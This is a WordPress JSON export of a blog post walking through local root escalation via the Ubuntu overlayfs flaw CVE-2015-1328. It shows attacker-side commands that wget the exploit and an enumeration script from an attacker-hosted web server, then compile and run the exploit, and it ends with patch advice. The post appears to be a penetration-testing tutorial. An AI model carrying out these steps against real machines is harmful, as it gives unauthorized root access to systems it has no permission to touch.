﻿{"id":1016,"date":"2021-03-11T22:40:47","date_gmt":"2021-03-11T14:40:47","guid":{"rendered":"https:\/\/byy3.com\/?p=1016"},"modified":"2021-03-11T22:41:28","modified_gmt":"2021-03-11T14:41:28","slug":"overlayfs-local-privilege-escalation-cve-2015-1328-exploit-c","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=1016","title":{"rendered":"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c"},"content":{"rendered":"<p>The overlayfs implementation in the linux (aka Linux kernel) package before 3.19.0-21.21 in Ubuntu through 15.04 does not properly check permissions for file creation in the upper filesystem directory, which allows local users to obtain root access by leveraging a configuration in which overlayfs is permitted in an arbitrary mount namespace. (<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2015-1328\" rel=\"nofollow\" >https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2015-1328<\/a>)<\/p>\n<p>Ubuntu could allow a local attacker to gain elevated privileges on the system, caused by incorrect permission checks when creating new files in the upper filesystem directory by the overlayfs filesystem. An attacker could exploit this vulnerability to gain root privileges on the system. Note: This vulnerability also affects Cloud Foundry. (<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/exchange.xforce.ibmcloud.com\/vulnerabilities\/103882\" rel=\"nofollow\" >https:\/\/exchange.xforce.ibmcloud.com\/vulnerabilities\/103882<\/a>)<\/p>\n<p><strong>Affected releases<\/strong><\/p>\n<ul>\n<li>(Ubuntu 14.04\/15.10)<\/li>\n<li>Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04<\/li>\n<\/ul>\n<p><strong>Affected kernel<\/strong><\/p>\n<ul>\n<li>Linux Kernel 4.3.3<\/li>\n<li>Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)<\/li>\n<\/ul>\n<p>For more info<\/p>\n<p><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/seclists.org\/oss-sec\/2015\/q2\/717\" rel=\"nofollow\" >https:\/\/seclists.org\/oss-sec\/2015\/q2\/717<\/a><\/p>\n<p><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.securityfocus.com\/bid\/75206\/info\" rel=\"nofollow\" >https:\/\/www.securityfocus.com\/bid\/75206\/info<\/a><\/p>\n<p><a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.exploit-db.com\/exploits\/37293\" rel=\"nofollow\" >https:\/\/www.exploit-db.com\/exploits\/37293<\/a><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4153\" data-original=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-55.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" sizes=\"auto, (max-width: 237px) 100vw, 237px\" srcset=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-55.png 237w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-55-153x300.png 153w\" width=\"237\" height=\"465\" title=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe\" alt=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe\" \/><\/p>\n<h2><strong>Identification<\/strong><\/h2>\n<p>1. We should already have access to the machine, since, this is a post-exploitation activity, and the attack is done locally. First thing we need to do is identify the kernel version<\/p>\n<ul>\n<li>lsb_release -a<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4154\" data-original=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-56.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" sizes=\"auto, (max-width: 349px) 100vw, 349px\" srcset=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-56.png 349w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-56-300x107.png 300w\" width=\"349\" height=\"125\" title=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe1\" alt=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe1\" \/><\/p>\n<p>2. check the kernel version<\/p>\n<ul>\n<li>uname -a<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4155\" data-original=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-57.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" sizes=\"auto, (max-width: 816px) 100vw, 816px\" srcset=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-57.png 816w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-57-300x19.png 300w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-57-768x49.png 768w\" width=\"816\" height=\"52\" title=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe2\" alt=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe2\" \/><\/p>\n<p>Note: It was identified at the 4.3.3 version. So, we are on good track with 3.13.0, older version.<\/p>\n<p>3. To make sure this is vulnerable, let\u2019s run a script that detects possible vulnerabilities. linux-exploit suggester (see how to use\u00a0<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/vk9-sec.com\/linux-exploit-suggester-enumeration-linux-kernellinux-based-machine\/\" rel=\"nofollow\" >https:\/\/vk9-sec.com\/linux-exploit-suggester-enumeration-linux-kernellinux-based-machine\/<\/a>)<\/p>\n<p>Source code (<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/github.com\/mzet-\/linux-exploit-suggester\" rel=\"nofollow\" >https:\/\/github.com\/mzet-\/linux-exploit-suggester<\/a>)<\/p>\n<ul>\n<li>cd \/tmp<\/li>\n<li>wget http:\/\/192.168.0.13:9999\/linux-exploit-suggester.sh<\/li>\n<li>chmod 777 linux-exploit-suggester.sh<\/li>\n<li>.\/linux-exploit-suggester.sh<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4156\" data-original=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-58.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" sizes=\"auto, (max-width: 705px) 100vw, 705px\" srcset=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-58.png 705w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-58-300x275.png 300w\" width=\"705\" height=\"646\" title=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe3\" alt=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe3\" \/><\/p>\n<p>Note: Highly vulnerable, means this is likely to have success.<\/p>\n<h2><strong>Execution<\/strong><\/h2>\n<p>1. Download the exploit to your Kali\/Parrot machine, and share it by any means with the remote server. I\u2019d use a python web server<\/p>\n<ul>\n<li>wget https:\/\/www.exploit-db.com\/download\/37292<\/li>\n<li>mv 37292 exploit.c<\/li>\n<li>ls -l exploit.c<\/li>\n<li>python3.9 -m http.server 9999<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4157\" data-original=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-59.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" sizes=\"auto, (max-width: 1304px) 100vw, 1304px\" srcset=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-59.png 1304w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-59-300x97.png 300w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-59-1024x331.png 1024w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-59-768x248.png 768w\" width=\"1304\" height=\"421\" title=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe4\" alt=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe4\" \/><\/p>\n<p>2. In the remote server access the Kali web server, and download the script in \/tmp<\/p>\n<ul>\n<li>wget http:\/\/192.168.0.13:9999\/exploit.c<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4158\" data-original=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-60.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" sizes=\"auto, (max-width: 1299px) 100vw, 1299px\" srcset=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-60.png 1299w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-60-300x39.png 300w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-60-1024x135.png 1024w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-60-768x101.png 768w\" width=\"1299\" height=\"171\" title=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe5\" alt=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe5\" \/><\/p>\n<p>3. Proceed to compile, and, execute the script<\/p>\n<ul>\n<li>gcc exploit.c -o exploit<\/li>\n<li>.\/exploit<\/li>\n<li>whoami<\/li>\n<li>hostname<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4159\" data-original=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-61.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" sizes=\"auto, (max-width: 396px) 100vw, 396px\" srcset=\"https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-61.png 396w, https:\/\/vk9-sec.com\/wp-content\/uploads\/2021\/02\/word-image-61-300x158.png 300w\" width=\"396\" height=\"209\" title=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe6\" alt=\"&#8216;overlayfs&#8217; Local Privilege Escalation &#8211; CVE-2015-1328 exploit.c\u63d2\u56fe6\" \/><\/p>\n<h2><strong>Remedy<\/strong><\/h2>\n<p>Apply the patch for this vulnerability, available from the Ubuntu GIT Repository.<\/p>\n<p>For Cloud Foundry Elastic Runtime:<\/p>\n<p>Upgrade to the latest version (1.4.5 or later), available from the Pivotal Web site.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The overlayfs implementation in the linux (aka Linux ke [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[230,146],"class_list":["post-1016","post","type-post","status-publish","format-standard","hentry","category-net-security","tag-linux-shell","tag-linux"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1016","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1016"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1016\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1016"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1016"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1016"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}